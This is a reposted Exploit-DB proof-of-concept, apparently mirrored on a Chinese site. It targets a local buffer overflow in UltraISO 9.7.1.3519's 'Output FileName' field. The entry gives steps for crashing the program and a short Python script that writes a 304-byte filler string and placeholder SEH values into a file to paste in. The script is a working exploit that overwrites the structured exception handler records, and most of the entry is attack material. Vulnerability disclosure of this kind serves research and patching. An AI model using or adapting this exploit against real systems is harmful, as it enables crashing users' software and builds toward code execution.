UltraISO 9.7.1.3519 – ‘Output FileName’ Denial of Service (PoC) - 体验盒子

作者： Francisco Ramirez

日期： 2018-12-14

类别：

dos

平台：

windows

来源：https://www.exploit-db.com/exploits/45996/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

# Exploit Title: UltraISO 9.7.1.3519 - 'Output FileName' Denial of Service (PoC) and Pointer to next SEH and SE handler records overwrite

# Discovery by: Francisco Ramirez

# Discovery Date: 2018-12-14

# Vendor Homepage: https://www.ultraiso.com/

# Software Link : https://www.ultraiso.com/download.html

# Tested Version: 9.7.1.3519

# Tested on: Windows 10 Pro - 64 bit

# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow

# Steps to Produce the Crash:

# 1.- Run python code : python UltraISO_9.7.1.3519.py

# 2.- Open UltraISO_9.7.1.3519.txt and copy content to clipboard

# 3.- Open UltraISO_9.7.1.3519

# 4.- In the Window select 'Tools' > 'Make CD/DVD Image'

# 5.- In the field'Output FileName' remove the default path.

# 6.- Paste the content of UltraISO_9.7.1.3519.txt into the field: 'Output FileName'

# 7.- Click 'Make' and you will see a crash.

#!/usr/bin/env python

a_letters = "\x41" * 304

seRecord = "\x42" * 4

sehRecord = "\x43" * 4

buffer = a_letters + seRecord + sehRecord

f = open ("UltraISO_9.7.1.3519.txt", "w")

f.write(buffer)

f.close()